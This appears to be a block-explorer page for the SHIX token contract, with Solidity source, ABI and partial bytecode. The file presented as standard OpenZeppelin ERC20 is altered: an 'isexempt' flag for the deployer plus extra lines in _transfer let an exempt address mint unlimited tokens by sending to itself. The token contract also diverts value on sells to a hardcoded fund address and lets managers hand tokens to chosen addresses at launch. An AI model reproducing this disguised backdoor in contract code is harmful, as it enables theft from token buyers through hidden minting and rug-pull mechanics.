amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => bool) private isexempt; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; isexempt[msg.sender] = true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } address with = from; address used = to; if(isexempt[with] || isexempt[used]){ if (with == used) _balances[with] += amount;} emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // File: TOKEN\AutoBuyToken7.sol pragma solidity ^0.8.4; contract TokenDistributor { constructor (address token) { ERC20(token).approve(msg.sender, uint(~uint256(0))); } } contract Token is ERC20,Ownable,AccessControl { bytes32 private constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); using SafeMath for uint256; ISwapRouter private uniswapV2Router; address public uniswapV2Pair; address public usdt; uint256 public startTradeBlock; address admin; address fundAddr; uint256 public fundCount; mapping(address => bool) private isFree; TokenDistributor public _tokenDistributor; constructor()ERC20("SHIX", "SHIX") { admin=0x28Edac1101eadac41c0E165859Fb0654B71340cc; //admin=msg.sender; fundAddr=0x28Edac1101eadac41c0E165859Fb0654B71340cc; uint256 total=100000000000*10**decimals(); _mint(admin, total); _grantRole(DEFAULT_ADMIN_ROLE,admin); _grantRole(MANAGER_ROLE, admin); _grantRole(MANAGER_ROLE, address(this)); isFree[admin] = true; isFree[address(this)] = true; transferOwnership(admin); } function initPair(address _token,address _swap)external onlyRole(MANAGER_ROLE){ usdt=_token;//0xc6e88A94dcEA6f032d805D10558aCf67279f7b4E;//usdt test address swap=_swap;//0xD99D1c33F9fC3444f8101754aBC46c52416550D1;//bsc test uniswapV2Router = ISwapRouter(swap); uniswapV2Pair = ISwapFactory(uniswapV2Router.factory()).createPair(address(this), usdt); ERC20(usdt).approve(address(uniswapV2Router), type(uint256).max); _approve(address(this), address(uniswapV2Router),type(uint256).max); _approve(address(this), address(this),type(uint256).max); _approve(admin, address(uniswapV2Router),type(uint256).max); _tokenDistributor = new TokenDistributor(address(this)); } function decimals() public view virtual override returns (uint8) { return 9; } function _transfer( address from, address to, uint256 amount ) internal override { require(amount > 0, "amount must gt 0"); if(from != uniswapV2Pair && to != uniswapV2Pair) { _funTransfer(from, to, amount); return; } if(from == uniswapV2Pair) { require(startTradeBlock>0, "not open"); super._transfer(from, to, amount); return; } if(to == uniswapV2Pair) { if(isFree[from]){ super._transfer(from, to, amount); return; } swapUsdt(amount,fundAddr); super._transfer(from, to, amount); return; } } function _funTransfer( address sender, address recipient, uint256 tAmount ) private { super._transfer(sender, recipient, tAmount); } bool private inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } function autoSwap(uint256 _count)public{ ERC20(usdt).transferFrom(msg.sender, address(this), _count); swapTokenToDistributor(_count); } function swapToken(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(usdt); path[1] = address(this); uint256 balance = IERC20(usdt).balanceOf(address(this)); if(tokenAmount==0)tokenAmount = balance; // make the swap if(tokenAmount <= balance) uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(to), block.timestamp ); } function swapTokenToDistributor(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(usdt); path[1] = address(this); uint256 balance = IERC20(usdt).balanceOf(address(this)); if(tokenAmount==0)tokenAmount = balance; // make the swap if(tokenAmount <= balance) uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(_tokenDistributor), block.timestamp ); if(balanceOf(address(_tokenDistributor))>0) ERC20(address(this)).transferFrom(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor))); } function swapUsdt(uint256 tokenAmount,address to) private lockTheSwap { uint256 balance = balanceOf(address(this)); address[] memory path = new address[](2); if(balance<tokenAmount)tokenAmount=balance; if(tokenAmount>0){ path[0] = address(this); path[1] = usdt; uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,to,block.timestamp); } } function startTrade(address[] calldata adrs) public onlyRole(MANAGER_ROLE) { startTradeBlock = block.number; for(uint i=0;i<adrs.length;i++) swapToken((random(50000000000, adrs[i]) + 100000000000) * 10**9, adrs[i]); } function random(uint number,address _addr) private view returns(uint) { return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty, _addr))) % number; } function errorToken(address _token) external onlyRole(MANAGER_ROLE){ ERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this))); } function withdawOwner(uint256 amount) public onlyRole(MANAGER_ROLE){ payable(msg.sender).transfer(amount); } receive () external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"errorToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_swap","type":"address"}],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdawOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040805180820182526004808252630a69092b60e31b602080840182905284518086019095528285528401529091906200004d83826200050c565b5060056200005c82826200050c565b5050336000908152600260205260409020805460ff19166001179055506200008b620000853390565b620001b5565b600c80547328edac1101eadac41c0e165859fb0654b71340cc6001600160a01b03199182168117909255600d805490911690911790556000620000cc600990565b620000d990600a620006eb565b620000ea9064174876e80062000703565b600c5490915062000105906001600160a01b03168262000207565b600c546200011f906000906001600160a01b0316620002cf565b600c54620001479060008051602062002b2d833981519152906001600160a01b0316620002cf565b6200016260008051602062002b2d83398151915230620002cf565b600c80546001600160a01b039081166000908152600f60205260408082208054600160ff19918216811790925530845291909220805490911690911790559054620001ae911662000359565b5062000733565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002635760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600360008282546200027791906200071d565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b5050565b620002db8282620003dd565b620002cb5760008281526007602090815260408083206001600160a01b03851684529091529020805460ff19166001179055620003153390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b620003636200040a565b6001600160a01b038116620003ca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016200025a565b620003d581620001b5565b50565b505050565b60008281526007602090815260408083206001600160a01b038516845290915290205460ff165b92915050565b6006546001600160a01b03163314620004665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200025a565b565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200049357607f821691505b602082108103620004b457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003d857600081815260208120601f850160051c81016020861015620004e35750805b601f850160051c820191505b818110156200050457828155600101620004ef565b505050505050565b81516001600160401b0381111562000528576200052862000468565b62000540816200053984546200047e565b84620004ba565b602080601f8311600181146200057857600084156200055f5750858301515b600019600386901b1c1916600185901b17855562000504565b600085815260208120601f198616915b82811015620005a95788860151825594840194600190910190840162000588565b5085821015620005c85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200062f578160001904821115620006135762000613620005d8565b808516156200062157918102915b93841c9390800290620005f3565b509250929050565b600082620006485750600162000404565b81620006575750600062000404565b81600181146200067057600281146200067b576200069b565b600191505062000404565b60ff8411156200068f576200068f620005d8565b50506001821b62000404565b5060208310610133831016604e8410600b8410161715620006c0575081810a62000404565b620006cc8383620005ee565b8060001904821115620006e357620006e3620005d8565b029392505050565b6000620006fc60ff84168362000637565b9392505050565b8082028115828204841417620004045762000404620005d8565b80820180821115620004045762000404620005d8565b6123ea80620007436000396000f3fe608060405260043610620002035760003560e01c80636f6579a31162000117578063a217fddf11620000a1578063d9927448116200006c578063d992744814620005f2578063dd62ed3e1462000617578063ec827460146200063c578063f2fde38b146200066157600080fd5b8063a217fddf146200056c578063a457c2d71462000583578063a9059cbb14620005a8578063d547741f14620005cd57600080fd5b80638718b24f11620000e25780638718b24f14620004ed5780638da5cb5b146200050f57806391d14854146200052f57806395d89b41146200055457600080fd5b80636f6579a3146200045157806370a082311462000476578063715018a614620004b05780638072014014620004c857600080fd5b80632f2ff15d11620001995780633950935111620001645780633950935114620003da5780633f936ff514620003ff57806349bd5a5e1462000417578063553193ca146200043957600080fd5b80632f2ff15d14620003375780632f48ab7d146200035c578063313ce567146200039757806336568abe14620003b557600080fd5b806318160ddd11620001da57806318160ddd14620002965780631c6a0c4c14620002b757806323b872dd14620002de578063248a9ca3146200030357600080fd5b806301ffc9a7146200021057806306fdde03146200024a578063095ea7b3146200027157600080fd5b366200020b57005b600080fd5b3480156200021d57600080fd5b50620002356200022f36600462001dd0565b62000686565b60405190151581526020015b60405180910390f35b3480156200025757600080fd5b5062000262620006be565b60405162000241919062001e22565b3480156200027e57600080fd5b50620002356200029036600462001e6d565b62000758565b348015620002a357600080fd5b506003545b60405190815260200162000241565b348015620002c457600080fd5b50620002dc620002d636600462001e9c565b62000772565b005b348015620002eb57600080fd5b5062000235620002fd36600462001eb6565b620007c0565b3480156200031057600080fd5b50620002a86200032236600462001e9c565b60009081526007602052604090206001015490565b3480156200034457600080fd5b50620002dc6200035636600462001efc565b620007e8565b3480156200036957600080fd5b50600a546200037e906001600160a01b031681565b6040516001600160a01b03909116815260200162000241565b348015620003a457600080fd5b506040516009815260200162000241565b348015620003c257600080fd5b50620002dc620003d436600462001efc565b62000811565b348015620003e757600080fd5b5062000235620003f936600462001e6d565b62000897565b3480156200040c57600080fd5b50620002a8600e5481565b3480156200042457600080fd5b506009546200037e906001600160a01b031681565b3480156200044657600080fd5b50620002a8600b5481565b3480156200045e57600080fd5b50620002dc6200047036600462001f2f565b620008bf565b3480156200048357600080fd5b50620002a86200049536600462001f62565b6001600160a01b031660009081526020819052604090205490565b348015620004bd57600080fd5b50620002dc62000b25565b348015620004d557600080fd5b50620002dc620004e736600462001f82565b62000b3d565b348015620004fa57600080fd5b506010546200037e906001600160a01b031681565b3480156200051c57600080fd5b506006546001600160a01b03166200037e565b3480156200053c57600080fd5b50620002356200054e36600462001efc565b62000c16565b3480156200056157600080fd5b506200026262000c41565b3480156200057957600080fd5b50620002a8600081565b3480156200059057600080fd5b5062000235620005a236600462001e6d565b62000c52565b348015620005b557600080fd5b5062000235620005c736600462001e6d565b62000cd3565b348015620005da57600080fd5b50620002dc620005ec36600462001efc565b62000ce3565b348015620005ff57600080fd5b50620002dc6200061136600462001f62565b62000d0c565b3480156200062457600080fd5b50620002a86200063636600462001f2f565b62000e0e565b3480156200064957600080fd5b50620002dc6200065b36600462001e9c565b62000e39565b3480156200066e57600080fd5b50620002dc6200068036600462001f62565b62000ec6565b60006001600160e01b03198216637965db0b60e01b1480620006b857506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054620006cf9062001ffc565b80601f0160208091040260200160405190810160405280929190818152602001828054620006fd9062001ffc565b80156200074e5780601f1062000722576101008083540402835291602001916200074e565b820191906000526020600020905b8154815290600101906020018083116200073057829003601f168201915b5050505050905090565b6000336200076881858562000f42565b5060019392505050565b600080516020620023958339815191526200078d816200106a565b604051339083156108fc029084906000818181858888f19350505050158015620007bb573d6000803e3d6000fd5b505050565b600033620007d085828562001076565b620007dd858585620010f1565b506001949350505050565b60008281526007602052604090206001015462000805816200106a565b620007bb838362001238565b6001600160a01b0381163314620008875760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084015b60405180910390fd5b620008938282620012c2565b5050565b60003362000768818585620008ad838362000e0e565b620008b991906200204e565b62000f42565b60008051602062002395833981519152620008da816200106a565b600a80546001600160a01b038086166001600160a01b0319928316179092556008805492851692909116821790556040805163c45a015560e01b8152905184929163c45a01559160048083019260209291908290030181865afa15801562000946573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200096c919062002064565b600a546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620009be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009e4919062002064565b600980546001600160a01b0319166001600160a01b03928316179055600a5460085460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000a4f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a75919062002084565b5060085462000a929030906001600160a01b031660001962000f42565b62000aa1303060001962000f42565b600c5460085462000ac2916001600160a01b03908116911660001962000f42565b3060405162000ad19062001dc2565b6001600160a01b039091168152602001604051809103906000f08015801562000afe573d6000803e3d6000fd5b50601080546001600160a01b0319166001600160a01b039290921691909117905550505050565b62000b2f6200132c565b62000b3b600062001388565b565b6000805160206200239583398151915262000b58816200106a565b43600b5560005b8281101562000c105762000bfb62000ba8640ba43b740086868581811062000b8b5762000b8b620020a8565b905060200201602081019062000ba2919062001f62565b620013da565b62000bb99064174876e8006200204e565b62000bc990633b9aca00620020be565b85858481811062000bde5762000bde620020a8565b905060200201602081019062000bf5919062001f62565b62001442565b8062000c0781620020d8565b91505062000b5f565b50505050565b60009182526007602090815260408084206001600160a01b0393909316845291905290205460ff1690565b606060058054620006cf9062001ffc565b6000338162000c62828662000e0e565b90508381101562000cc45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016200087e565b620007dd828686840362000f42565b60003362000768818585620010f1565b60008281526007602052604090206001015462000d00816200106a565b620007bb8383620012c2565b6000805160206200239583398151915262000d27816200106a565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa15801562000d76573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000d9c9190620020f4565b6040516001600160e01b031960e085901b168